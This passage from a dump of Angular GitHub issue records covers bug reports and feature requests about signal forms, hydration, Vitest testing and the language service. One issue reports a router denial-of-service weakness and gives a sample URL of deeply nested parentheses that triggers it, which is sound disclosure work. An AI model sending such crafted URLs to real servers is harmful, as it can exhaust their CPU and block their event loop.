I had a bit confusion about this when it comes to Angular Elements. When using `createCustomElement` API, the `NgElementConfig` doc says that `injector` to retrieve component factory https://angular.dev/api/elements/NgElementConfig#api

It looks to me like Angular Elements still needs `ComponentFactoryResolver` to do the work?

### Enter the URL of the topic with the problem

https://angular.dev/api/core/ComponentFactoryResolver
https://angular.dev/api/elements/NgElementConfig#api

### Describe what you were looking for in the documentation

Will `ComponentFactoryResolver` be removed completely later or it becomes an internal API for Angular Elements to use?

### Describe the actions that led you to experience the problem

I tested Angular Elements in a bit strange way
```
const PopupElement = createCustomElement(MyComponent, {
    injector: Injector.create({
      providers: []
    })
  });
customElements.define('popup-element', PopupElement);
```

because I wanted to try out whether `createApplication` is needed to work with Angular Elements. 

Lit Element doesn't need that `createApplication`

### Describe what you want to experience that would fix the problem

I don't know how to update the docs in such a way that it prevents this situation of understanding.

### Add a screenshot if that help... [TRUNCATED]",area: elements,2026-01-28T15:22:28Z,2026-04-29T21:30:06Z,1
angular/angular,3865731075,Signal Forms: Using `@for(userForm of valueForm.users; track userForm.id().value())` causes runtime error,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

I discovered this while trying to find a good solution how to edit a list of users with signal forms, which actually does not sound complicated, but it seems that there are things to consider I might not yet be aware of. Please see https://stackoverflow.com/questions/79878016/angular-21-signal-forms-how-to-loop-over-an-array-of-complex-sub-objects for the whole story.

In the 3rd example I described there, I tried to add a `id` to each user and use this for tracking in the loop like this. ([StackBlitz Example 3](https://stackblitz.com/edit/stackblitz-starters-3r7vqbdb?file=src%2Fmain.ts,src%2Fuser-edit.component.ts))


```typescript
interface User { id: number; name?: string; }
interface UserForm { id: number; name: string; }
interface Test { test: string; users: User[]; }

let userCounter = 0;
function createUser(name?: string): User { return { id: ++userCounter, name }; }

@Component({
  selector: 'user-edit',
  template: `<div>Name: <input type=""text"" [formField]=""valueForm.name""/></div>`,
  changeDetection: ChangeDetectionStrategy.OnPush,
  imports: [FormField],
})
export class UserEditComponent implements FormValueControl<User | null> {
  public readonly value = model<User | null>(null);
  protected readonly valueForm = mappedForm<User | null, UserForm>(this.value, {
    modelToForm: (user) => {
      user ??= createUser('new user');
      return { id: user.... [TRUNCATED]","area: forms,forms: signals",2026-01-28T14:28:45Z,2026-01-30T20:03:12Z,16
angular/angular,3865624015,Dynamic component + animate.leave leaves orphaned DOM nodes,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When using a dynamically inserted component and a leave animation, when triggering the element to show and hide quickly, the element can be retained and duplicated in the DOM 

In the linked stackblitz if you click the trigger button repeatedly, you'll see multiple versions of the menu component being retained in the DOM

<img width=""1352"" height=""656"" alt=""Image"" src=""https://github.com/user-attachments/assets/fa1774f9-bba7-4abf-a70d-4bd95650ae54"" />

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/kucxgmx5-6a2vvycd?file=src%2Fexample%2Fcdk-menu-standalone-menu-example.css,src%2Fexample%2Fcdk-menu-standalone-menu-example.html&startScript=start

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.2
Angular           : 21.1.1
Node.js           : 20.19.1
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌─────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                         │ Installed Version │ Requested Version │
├─────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build                  │ 21.1.2            │ ^21.0.0           │
│ @angular/cdk                    │ 21.1.1            │ ^21.0.0           │
│ @angula... [TRUNCATED]","area: core,state: has PR,core: animations",2026-01-28T14:04:40Z,2026-01-29T20:18:03Z,9
angular/angular,3864587775,Cannot test components with external templates using Vitest,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When i want to test component with external template and styles with Vitest in angular project it throws error:
`Did you run and wait for 'resolveComponentResources()'?`

<img width=""1280"" height=""537"" alt=""Image"" src=""https://github.com/user-attachments/assets/b6f612b2-83ee-40ca-8366-53b5b9676993"" />

### Please provide a link to a minimal reproduction of the bug

https://github.com/mareklukac/angularVitestTesting - pure angular starter template

### Please provide the exception or error you saw

```true
Error: Component 'TestComponent' is not resolved:
 - templateUrl: ./test-component.html
 - styleUrl: ./test-component.scss
Did you run and wait for 'resolveComponentResources()'?
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.1
Angular           : 21.1.1
Node.js           : 22.16.0
Package Manager   : npm 10.9.2
Operating System  : win32 x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.1.1            │ ^21.1.1           │
│ @angular/cli              │ 21.1.1            │ ^21.1.1           │
│ @angular/common           │ 21.1.1            │ ^21.1.0           │
│ @angular/compiler         │ 21.1.1 ... [TRUNCATED]",area: testing,2026-01-28T09:58:14Z,2026-02-10T12:33:47Z,2
angular/angular,3864384026,Apply aria attributes on signal forms ,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

Signal forms does not trigger the browser's native `input:invalid` state for validators of some native validators (eg: minlength).

Context:

Some of the browser's native input validors only trigger if the input's value was set by the user. As an example, `<input value=""a"" minlength=""3"">` won't show as invalid until the user has edited the value.

For Input fields bound to a signal, when the user modifies the value the signal immediately synchronizes its value back into the input, marking the value as not user-modified. This happens with simple `[value]=""signal()""`, but more importantly also using signal-forms `[field]=""form.text""` / `[formField]=...`.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-kp5a3reh?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
Not applicable.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Stackblitz example using 21.0.3, my own dev environment:

Angular CLI       : 21.1.0
Angular           : 21.1.0
Node.js           : 22.21.1
Package Manager   : pnpm 10.21.0
Operating System  : win32 x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────... [TRUNCATED]","area: forms,forms: signals",2026-01-28T09:13:54Z,2026-02-06T01:02:50Z,7
angular/angular,3864294231,"Fix ""copy"" feature in Angular documentation (website)","### Describe the problem that you experienced

Example: https://angular.dev/cli/new
Copying the first code example (""ng new ng[name] [options]"") returns ""ng newng [name][options]""
Please fix it so that spaces in the previews are correcly represented in the copied code example.

And speaking of examples:
Just put simple examples to your documentations. The docs are especially intended for new developers and without examples they are really frustrating.
A new angular developer would interpret the example above to create a new project as this:
""ng new ng[MyCoolApp]""
Which is probably not how it works. Or maybe it is. It's very unclear. And that's the problem.

### Enter the URL of the topic with the problem

https://angular.dev/cli/new

### Describe what you were looking for in the documentation

How to initialize a new project with params.

### Describe the actions that led you to experience the problem

Just reading the first lines of the documentation.

### Describe what you want to experience that would fix the problem

User-friendly documentation.

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","open for contributions,area: docs-infra",2026-01-28T08:51:57Z,2026-02-02T18:09:37Z,1
angular/angular,3861787279,Request for Public API to Dismiss NG0501 Diagnostic or Alternative Approach for handling enabledBlocking with non-destructive hydration (Angular 21),"### Which @angular/* package(s) are relevant/related to the feature request?

core, router

### Description

We maintain an open-source Angular meta-framework for building ecommerce. We currently use `initialNavigation: 'enabledBlocking'` in our SSR application with non-destructive hydration, and it works properly for our needs. However, we’d like to address the following diagnostic message:
> `NG05001: Configuration error: found both hydration and enabledBlocking initial navigation in the same application, which is a contradiction.`

When `initialNavigation: enabledBlocking` is removed, Angular falls back to `INITIAL_NAVIGATION` with the value `enabledNonBlocking`. Therefore, the initial render of the entire component tree starts to happen in parallel with the Router's initial navigation phase. Previously, routing happened first, and only then could the rendering of components start. This means that if any components implicitly expected some side-effects from the initial routing phase to already be finished, they might now encounter a race condition.

The core issue is that hydration requires non-blocking navigation, but we have a legitimate use case that relies on bootstrap-blocking behavior. Specifically, we need to extract URL-based parameters such as auth codes, coupons, and configuration data before they are potentially lost during any redirects. 

Some of our features depend on the `LOCATION_INITIALIZED` promise, which we observed Angular ignores when `enableBlocking` ... [TRUNCATED]","area: router,area: server,core: hydration",2026-01-27T18:03:59Z,2026-04-08T17:39:59Z,7
angular/angular,3860861068,"Clarify standalone: true vs false in component, directive, and pipe guides","### Describe the problem that you experienced

The docs don’t clearly explain the difference between `standalone: true` and `standalone: false` for components, directives, and pipes.

In several places, standalone is mentioned, but the links often redirect to general component documentation instead of explaining the standalone concept itself. This can be confusing, especially for developers learning modern Angular or migrating from NgModule-based architecture.

### Enter the URL of the topic with the problem
- In [Standalone](https://angular.dev/api/core/Directive) block refers 

> More information about standalone components, directives, and pipes can be found in [this guide](https://angular.dev/guide/components/importing).

- In [NgOptimizedImage](https://angular.dev/api/common/NgOptimizedImage)

> The [NgOptimizedImage](https://angular.dev/api/common/NgOptimizedImage) directive is marked as [standalone](https://angular.dev/guide/components/importing) and can be imported directly.

- in [Bootstraps](https://angular.dev/api/platform-browser/bootstrapApplication)

> Bootstraps an instance of an Angular application and renders a standalone component as the application's root component. More information about standalone components can be found in [this guide](https://angular.dev/guide/components/importing).",needs: clarification,2026-01-27T14:26:52Z,2026-01-28T18:16:57Z,3
angular/angular,3859690926,host element not rendered in browser mode,"### Command

test

### Is this a regression?

- [ ] Yes, this behavior used to work in the previous version

### The previous version in which this bug was not present was

_No response_

### Description

When testing the application via vitest browser mode, the host element of the component being tested is not rendered.

### Minimal Reproduction

This is the link to a minimal repro
https://github.com/Bushuo/angular-browser-mode-issue

run `ng serve`
observe that the title is red

run `ng test`
make sure to hit the breakpoint by opening the inspector (debug mode, otherwise the tests dont continue to run)
see that the title is black

The dom in the iframe looks like this
```html
<body>
  <div id=""root0"" ng-version=""21.1.1"">
    <main class=""main"">
      <h1>Welcome to Angular 21 Base</h1>
    </main>
    <router-outlet></router-outlet>
  </div>
</body>
```
Whereas I would expect it to look like this
```html
<body>
  <app-root ng-version=""21.1.1"" _nghost-ng-c3567031373="""">
    <main class=""main"">
      <h1>Welcome to Angular 21 Base</h1>
    </main>
    <router-outlet></router-outlet>
  </app-root>
</body>
```

### Exception or Error

```text

```

### Your Environment

```text
Angular CLI       : 21.1.1
Angular           : 21.1.1
Node.js           : 22.21.1
Package Manager   : npm 11.6.2
Operating System  : win32 x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├────────────────────... [TRUNCATED]",,2026-01-27T08:20:15Z,2026-01-27T09:21:22Z,4
angular/angular,3857243740,Unbounded recursion in DefaultUrlSerializer.parse() can cause router-level DoS with crafted URLs,"### Which @angular/* package(s) are the source of the bug?

router

### Is this a regression?

No

### Description

The Angular Router's `DefaultUrlSerializer.parse()` contains unbounded mutual recursion between
`parseChildren()` and `parseParens()` when handling deeply nested or malformed URLs containing
parentheses.

This can lead to excessive CPU usage, event-loop blocking, or stack overflow depending on runtime
limits. The issue is not exception-based and may not always throw an error, which makes it harder
to detect in production environments.

This is a parser-level denial of service condition caused by uncontrolled recursion. There is no
depth limit, recursion guard, or complexity check in the URL parsing logic.

Relevant code paths:
- `parseChildren()` → `parseParens()`
- `parseParens()` → `parseChildren()`

Because this logic is part of a core framework component, it is expected to be safe-by-default.
Relying on every application developer to defensively wrap router parsing logic in `try/catch`
does not mitigate CPU exhaustion or event-loop blocking.

This affects server-side rendering and custom Node/Express integrations where `DefaultUrlSerializer`
is used directly or indirectly.

### Please provide a link to a minimal reproduction of the bug

No public repo required. The issue can be reproduced by calling:  const serializer = new DefaultUrlSerializer(); serializer.parse(url);  Where `url` contains deeply nested parentheses, for example: ""/((((((((((((((((((((((a))... [TRUNCATED]","area: router,router: URL parsing/generation",2026-01-26T18:59:49Z,2026-01-29T20:15:23Z,2
angular/angular,3856146447,Update angular logo on Google Dev Library,"### Describe the problem that you experienced

<img width=""1632"" height=""527"" alt=""Image"" src=""https://github.com/user-attachments/assets/4b046439-b849-4ea8-87ca-0ed62513643e"" />



### Enter the URL of the topic with the problem

https://devlibrary.withgoogle.com/

### Describe what you were looking for in the documentation

I think the logo is outdated
",area: docs,2026-01-26T14:11:18Z,2026-06-08T19:04:18Z,4
angular/angular,3853503940,Add a new primitive to replace `ngOnInit` in signal-era,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

With signal inputs, there is no clean primitive for ""run code once after inputs are set."" The current workaround is using `effect()` with `untracked()`:

```typescript
constructor() {
  effect(() => untracked(() => {
    // code that needs inputs to be set
  }));
}
```

This is awkward because:
- `effect()` is designed for reactive side effects, not one-time initialization
- `untracked()` is required to prevent accidental signal tracking
- The pattern contradicts the reactive nature of effects

The signals era provides clean replacements for most lifecycle hooks:

**`ngOnChanges`** → `computed()` / `effect()`
```typescript
// Before (ngOnChanges)
@Input() firstName: string;
@Input() lastName: string;
fullName: string;

ngOnChanges() {
  this.fullName = `${this.firstName} ${this.lastName}`;
}

// After (signals)
firstName = input('');
lastName = input('');
fullName = computed(() => `${this.firstName()} ${this.lastName()}`);
```

**`ngOnDestroy`** → `DestroyRef.onDestroy()`
```typescript
// Before (ngOnDestroy)
ngOnDestroy() {
  this.cleanup();
}

// After (signals era)
constructor() {
  inject(DestroyRef).onDestroy(() => this.cleanup());
}
```

**`ngOnInit`** → ???

There is currently no signals-era equivalent for `ngOnInit`. The only workaround is the awkward `effect(() => untracked(...))` pattern.


### Proposed solution


Introduce an `InitRef` (or similar) injectable that p... [TRUNCATED]",,2026-01-25T16:29:53Z,2026-01-25T18:46:17Z,1
angular/angular,3853436226,"TcbSwitchOp.execute() throws ""Cannot read properties of undefined (reading 'flatMap')"" in 21.1.1","### Which @angular/* package(s) are the source of the bug?

compiler-cli

### Is this a regression?

Yes - this worked in 21.0.6

### Description

After upgrading from Angular 21.0.6 to 21.1.1, the build fails with the following error when using `@switch` in templates:

```
X [ERROR] Cannot read properties of undefined (reading 'flatMap') [plugin angular-compiler]

    at TcbSwitchOp.execute (file:///node_modules/@angular/compiler-cli/bundles/chunk-I73LLMTA.js:15053:39)
    at _Scope.executeOp (file:///node_modules/@angular/compiler-cli/bundles/chunk-I73LLMTA.js:16609:20)
    at _Scope.render (file:///node_modules/@angular/compiler-cli/bundles/chunk-I73LLMTA.js:16511:12)
    ...
```

The error occurs in `TcbSwitchOp.execute()` at line 15053:
```javascript
const clauses = this.block.groups.flatMap((current) => {
```

`this.block.groups` is `undefined`.

### Please provide a link to a minimal reproduction of the bug

Template example that triggers the bug:

```html
@switch (reason()) {
  @case ('seats_exhausted') {
    <div>Content A</div>
  }
  @case ('no_subscription') {
    <div>Content B</div>
  }
}
```

Component:
```typescript
export type NoLicenseReason = 'no_subscription' | 'seats_exhausted' | 'suspended';

@Component({...})
export class MyComponent {
  readonly reason = input<NoLicenseReason>('no_subscription');
}
```

### Please provide the exception or error you saw

```
X [ERROR] Cannot read properties of undefined (reading 'flatMap') [plugin angular-compiler]

    ... [TRUNCATED]",,2026-01-25T15:45:53Z,2026-01-25T18:47:38Z,6
angular/angular,3853135616,ng serve live-reload fails when withExperimentalPlatformNavigation is enabled,"### Which @angular/* package(s) are the source of the bug?

router

### Is this a regression?

No

### Description

When withExperimentalPlatformNavigation() is enabled in app.config.ts, the ng serve --live-reload=true functionality breaks.

Making changes to source files triggers a rebuild in the terminal, but the browser does not refresh. Removing withExperimentalPlatformNavigation() restores expected live-reload behavior.

### Please provide a link to a minimal reproduction of the bug

https://github.com/AssafGolani/live-reload-demo-reproduction

### Please provide the exception or error you saw

```true
## Expected Behavior

The browser should automatically reload when files are changed, regardless of whether the native navigation integration is enabled.

## Actual Behavior

The browser fails to reload. It appears the connection to the live-reload socket is maintained, but the trigger to refresh the page is either blocked or ignored by the Navigation API integration.

## Exception or Error

No error is printed in the browser console, but the refresh simply does not occur.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.1
Node.js           : 20.19.0
Package Manager   : npm 10.4.0
Operating System  : win32 x64
```

### Anything else?

_No response_",area: router,2026-01-25T11:59:04Z,2026-01-26T22:29:54Z,4
angular/angular,3852799030,CommonModule/RouterModule Directives Not Recognized in NgModule Libraries (Angular v21),"### Which @angular/* package(s) are the source of the bug?

common, compiler-cli, compiler, router

### Is this a regression?

Yes

### Description

When building an Angular library (using `ng-packagr`) with Angular v21, CommonModule and RouterModule directives (`ngClass`, `ngStyle`, `routerLink`, etc.) are not recognized during compilation, even though these modules are properly imported and exported in the library's NgModule.

The issue affects **both partial and full compilation modes**, indicating this is not specific to partial compilation but a broader Angular v21 regression.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
Building Angular Package

------------------------------------------------------------------------------
Building entry point '@algosec/shared-ui'
------------------------------------------------------------------------------
- Compiling with Angular sources in partial compilation mode.
projects/company/shared-ui/src/lib/button/button.component.html:1:9 - error NG8002: Can't bind to 'ngClass' since it isn't a known property of 'button'.

1 <button [ngClass]=""buttonClass"" [ngStyle]=""additionalStyle"">
          ~~~~~~~~~~~~~~~~~~~~~~~~

  projects/company/shared-ui/src/lib/button/button.component.ts:8:16
    8   templateUrl: './button.component.html',
                     ~~~~~~~~~~~~~~~~~~~~~~~~~
    Error occurs in the template of component ButtonComponent.

pro... [TRUNCATED]",needs reproduction,2026-01-25T07:44:19Z,2026-01-25T10:36:00Z,4
angular/angular,3850927087,feat(language-service): Add Linked Editing Ranges for HTML tag synchronization,"## Feature Request

### Description
Add support for **Linked Editing Ranges** (LSP 3.16) in the Angular Language Service to enable synchronized editing of opening and closing HTML tag pairs.

### Use Case
When editing HTML templates in Angular, developers often need to rename elements. Currently, renaming a tag requires manually updating both the opening and closing tags, which is error-prone and time-consuming.

With Linked Editing Ranges, when the cursor is on an element tag name:
- Both opening and closing tags are highlighted
- Typing changes both tags simultaneously
- Prevents mismatched tag errors

### Example
```html
<div class=""container"">
  <span>Content</span>
</div>
```
When the cursor is on `div`, typing `section` updates both opening and closing tags to `<section>...</section>`.

### Technical Details
- LSP method: `textDocument/linkedEditingRange`
- Supported in VS Code since 1.51
- Works with both external HTML templates and inline templates in TypeScript files

### Related
- [LSP 3.16 Spec - Linked Editing Range](https://microsoft.github.io/language-server-protocol/specifications/lsp/3.16/specification/#textDocument_linkedEditingRange)
- VS Code setting: `editor.linkedEditing`
",area: language-service,2026-01-24T10:54:27Z,2026-02-04T23:45:30Z,3
angular/angular,3850926957,feat(language-service): Add Linked Editing Ranges for HTML tag synchronization,"## Feature Request

### Description
Add support for **Linked Editing Ranges** (LSP 3.16) in the Angular Language Service to enable synchronized editing of opening and closing HTML tag pairs.

### Use Case
When editing HTML templates in Angular, developers often need to rename elements. Currently, renaming a tag requires manually updating both the opening and closing tags, which is error-prone and time-consuming.

With Linked Editing Ranges, when the cursor is on an element tag name:
- Both opening and closing tags are highlighted
- Typing changes both tags simultaneously
- Prevents mismatched tag errors

### Example
```html
<div class=""container"">
  <span>Content</span>
</div>
```
When the cursor is on `div`, typing `section` updates both opening and closing tags to `<section>...</section>`.

### Technical Details
- LSP method: `textDocument/linkedEditingRange`
- Supported in VS Code since 1.51
- Works with both external HTML templates and inline templates in TypeScript files

### Related
- [LSP 3.16 Spec - Linked Editing Range](https://microsoft.github.io/language-server-protocol/specifications/lsp/3.16/specification/#textDocument_linkedEditingRange)
- VS Code setting: `editor.linkedEditing`
",,2026-01-24T10:54:22Z,2026-01-24T12:38:11Z,2
angular/angular,3849046491,feat(language-service): add Angular-specific Inlay Hints (LSP 3.17),"## Summary

Add Angular-specific inlay hints for templates in the Angular Language Service and VS Code extension.

## Scope

- Template variable type hints (`@for`, `@if` aliases, `@let`, template refs)
- Event and binding hints (including host/listener contexts)
- Pipe and function call hints
- Control-flow hints (`@switch`, `@defer`)
- Interactive inlay labels where location metadata is available
- Extension settings for Angular inlay hint behavior
- Runtime settings refresh via LSP configuration flow

## Tracking PR

- #66755

## Notes

- This issue tracks the feature delivery.
- Implementation and test coverage are maintained in #66755.
",area: language-service,2026-01-23T20:21:48Z,2026-06-08T19:16:11Z,0
angular/angular,3847562975,Getting random 405 error with Service Worker,"### Which @angular/* package(s) are the source of the bug?

service-worker

### Is this a regression?

Yes

### Description

I have a random error upon opening the page 405 Method not allowed POST. This error is caused by service worker and is happening randomly. Page refresh most of the time helps. I noticed similar bahvioru here: https://github.com/angular/angular/issues/37133

Different from other issue i am getting it on Chrome browser! And my code is different - 405

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",,2026-01-23T13:56:23Z,2026-01-23T15:33:27Z,12
angular/angular,3847280299,[signal forms] required validator not longer works for empty array,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

the built-in signal forms required validator no longer treats an empty array as invalid, the non-signal forms validator still does.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.0.4
Angular           : 21.0.6
Node.js           : 24.13.0
Package Manager   : yarn 4.12.0
Operating System  : win32 x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular-devkit/architect         │ 0.2101.0          │ 0.2101.0          │
│ @angular-devkit/build-angular     │ 21.0.4            │ 21.0.4            │
│ @angular-devkit/core              │ 21.0.4            │ 21.0.4            │
│ @angular-devkit/schematics        │ 21.0.4            │ 21.0.4            │
│ @angular/build                    │ 21.0.4            │ ^21.0.4           │
│ @angular/cdk                      │ 21.0.5            │ 21.0.5            │
│ @angular/cdk-experimental         │ 21.0.5            │ 21.0.5            │
│ @angular/cli                      │ 21.0.4            │ 21.0.4            │
│ @angular/com... [TRUNCATED]",,2026-01-23T12:37:11Z,2026-01-23T14:00:56Z,2
angular/angular,3847170867,Prevent void in computed signals,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

If you don't return anything from the `computed` signal, no one will complain about it. There will be no compilation or runtime errors.

It is, however, likely a mistake which will lead to incorrect behavior.

```ts
user = signal({
  firstName: 'Lightning',
  lastName: 'McQueen',
});

fullName = computed(() => {
  // Oops, I forgot to add return
  `${this.user().firstName} ${this.user().lastName}`;
});
```

```html
Hi, {{ fullName() }},
```

### Proposed solution

I cannot think of a legitimate reason not to return anything from the computed signal, so it seems like it should be typed to exclude `void` from the list of types it accepts.

### Alternatives considered

`@typescript-eslint/no-unused-expressions` can help, but it only catches simple cases.","area: core,cross-cutting: signals",2026-01-23T12:02:58Z,2026-01-28T18:30:51Z,3
angular/angular,3843346352,Signal forms array field tracking value causes orphan field error,"### Which @angular/* package(s) are the source of the bug?

core, forms

### Is this a regression?

No

### Description

When in a signalform, you have an array of objects, outside of $index there doesn't seem to be any good tracking value that doesn't cause warnings or errors when the source of the form updates.

```
@for (child of form.children; track ???) {
```

Tracking by $index works, but isn't ideal when the array-order may change.
Tracking by `child` produces a warning (NG0956)
Tracking by `child.id().value()` causes an orphan field error

The only somewhat working solution that I've found is `track formSource().children[$index].id`, but I can't imagine that's intended

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-8eawr6lq?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
With `track child.id()`

ERROR Error: RuntimeError: orphan field, can't find element in array <root>.items

With `track child`

NG0956: The configured tracking expression (track by identity) caused re-creation of the entire collection of size 2. This is an expensive operation requiring destruction and subsequent creation of DOM nodes, directives, components etc. Please review the ""track expression"" and make sure that it uniquely identifies items in a collection. Find more at https://v21.angular.dev/errors/NG0956
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
... [TRUNCATED]","area: forms,forms: signals",2026-01-22T15:01:14Z,2026-05-05T22:54:45Z,9
angular/angular,3839799635,feat(language-service): add Document Symbols support for Angular templates,"# Feature Request: Document Symbols support for Angular templates

## ✅ Status: Implemented in PR #66690

## Description

The Angular Language Service should provide Document Symbols for Angular templates to enhance IDE features like the Outline panel, breadcrumbs navigation, and ""Go to Symbol"" (Cmd+Shift+O / Ctrl+Shift+O).

## Implementation

PR #66690 implements comprehensive Document Symbols support including:

### Features
1. **Block syntax**: `@if`, `@for`, `@switch`, `@defer`, `@let` with their expressions
2. **Structural directives**: `*ngIf`, `*ngFor`, `*ngSwitch` with their expressions
3. **Context variables**: Loop items, aliases (`let i = $index`), expression aliases (`as alias`)
4. **Template references**: `#ref` variables
5. **HTML elements**: With semantically appropriate icons
6. **Hybrid approach**: Default shows only component classes with templates (configurable)

### SymbolKind Mapping

| Template Element | SymbolKind | Icon |
|-----------------|------------|------|
| `@if`, `@switch` | Struct | 🔶 |
| `@for` | Array | 📦 |
| `@defer` | Event | ⚡ |
| HTML elements | Object | 🟡 |
| Variables | Variable | |

### Configuration

```json
{
  // Disable Angular document symbols
  ""angular.documentSymbols.enabled"": false,
  
  // Show implicit @for variables ($index, $count, etc.)
  ""angular.documentSymbols.showImplicitForVariables"": true,
  
  // Show all TypeScript symbols (methods, properties)
  ""angular.documentSymbols.showTypescriptSymbols"": false
}
```

### De... [TRUNCATED]",area: language-service,2026-01-21T19:57:06Z,2026-03-18T00:41:38Z,1
angular/angular,3839496033,Signal forms custom validator with 'fieldTree' field in validation result error,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

After upgrading to 21.1.0 and with the removal customError() from signal forms returning ValidationError from custom validator results in compilation error.

Documentation https://angular.dev/guide/forms/signals/validation#using-validate has an example. It does not state that 'fieldTree' works only in submit function, but have a comment in the example code.

```typescript
interface DTO {
  firstName: string;
  lastName: string;
}

export class App {
  private readonly model = model<DTO>({
    firstName: '',
    lastName: '',
  });

  protected readonly form = form(this.model, (path) => {
    validate(path, (ctx) => {
      if (ctx.valueOf(path.firstName).length < 5) {
        return {
          kind: 'test',
          message: 'Message',
          fieldTree: path.lastName, // or ctx.fieldTree.lastName
        };
      }
      return null;
    });    
  });
}
```

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-8ik35v9w?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
Argument of type '(ctx: RootFieldContext<DTO>) => { kind: string; message: string; fieldTree: SchemaPath<string, 1, Child>; } | null' is not assignable to parameter of type 'FieldValidator<DTO, Root>'.
  Type '{ kind: string; message: string; fieldTree: SchemaPath<string, 1, Child>; } | null' is not assigna... [TRUNCATED]","area: forms,forms: validators,area: docs,forms: signals",2026-01-21T18:25:13Z,2026-01-30T19:39:53Z,5
angular/angular,3838401920,chore(language-service): upgrade LSP library to v9.0.1 (LSP 3.17),"## Summary

This PR upgrades the VS Code Language Server Protocol library from v7.0.0 (LSP 3.16) to v9.0.1 (LSP 3.17).

## Motivation

LSP 3.17 introduces several new features that would benefit Angular developers:
- **Inlay Hints** - Show inline type hints for template variables, pipe outputs, etc.
- **Type Hierarchy** - Navigate class/interface inheritance
- **Inline Values** - Show variable values during debugging

This upgrade is a prerequisite for implementing these features.

## Changes

### Package Updates
| Package | From | To |
|---------|------|-----|
| vscode-languageserver | 7.0.0 | 9.0.1 |
| vscode-languageclient | 7.0.0 | 9.0.1 |
| vscode-languageserver-protocol | 3.16.0 | 3.17.5 |
| vscode-jsonrpc | 6.0.0 | 8.2.0 |

### Breaking Changes Addressed
- `LanguageClient.start()` now returns `Promise<void>` instead of `Disposable`
- `LanguageClient.onReady()` removed - use `await start()` directly
- `protocol2CodeConverter` methods now return Promises (`asWorkspaceEdit`, `asRanges`)
- `SignatureHelp.activeParameter`: `null` → `undefined`

### VS Code Compatibility
Minimum VS Code version: 1.74.3 (already our current minimum)

## Testing
- [x] Unit tests pass (4/4)
- [x] LSP integration tests pass (36 specs)
- [x] Extension packages successfully
- [x] Manual testing in VS Code Extension Host

## Follow-up
This upgrade enables but does not implement the new LSP 3.17 features. Implementation will follow in separate PRs.
",,2026-01-21T13:58:51Z,2026-01-21T14:01:04Z,1
angular/angular,3837858004,ɵassertType false positive error in Angular Language Service,"### Which @angular/* package(s) are the source of the bug?

core, language-service

### Is this a regression?

Yes

### Description

I am re-living the original post #66304 that was closed as this issue is still happening on the latest versions of the Angular Language Service in VSCode.

After the latest update of the Angular Language Service VS Code extension (1 week ago), a previously working template now throws the following error:

Property 'ɵassertType' does not exist on type 'typeof import("".../node_modules/@angular/core/index"")'.
This occurs on (keydown)=""..."" bindings inside a template of a component that uses ReactiveFormsModule.

Example:

```
<input
  (keydown.enter)=""handleEnter($event)""
  (keydown)=""forceValidation()""
/>
```

Downgrading the extension to the previous version (version 20.3.3 or below) immediately resolves the issue without any code changes.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
Property 'ɵassertType' does not exist on type 'typeof import("".../node_modules/@angular/core/index"")'.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 19.2.19
Node: 22.17.0
Package Manager: yarn 1.22.22
OS: win32 x64

Angular: 19.2.15
... animations, common, compiler, compiler-cli, core, forms
... localize, platform-browser, platform-browser-dynamic
... platform-server, router, service-worker

Package               ... [TRUNCATED]","needs reproduction,area: language-service",2026-01-21T11:42:30Z,2026-01-22T13:38:51Z,5
angular/angular,3834765453,track function in @for is ignored on in-place element modifications,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

I've noticed that if I specify specific property in the track expression, angular doesn't remount child element when this property changes in-place (i.e. object ref doesn't change).
However, `ngFor` remount such element, which is expected.

Here's the minimal example, which can be tried at https://angular.dev/playground
```ts
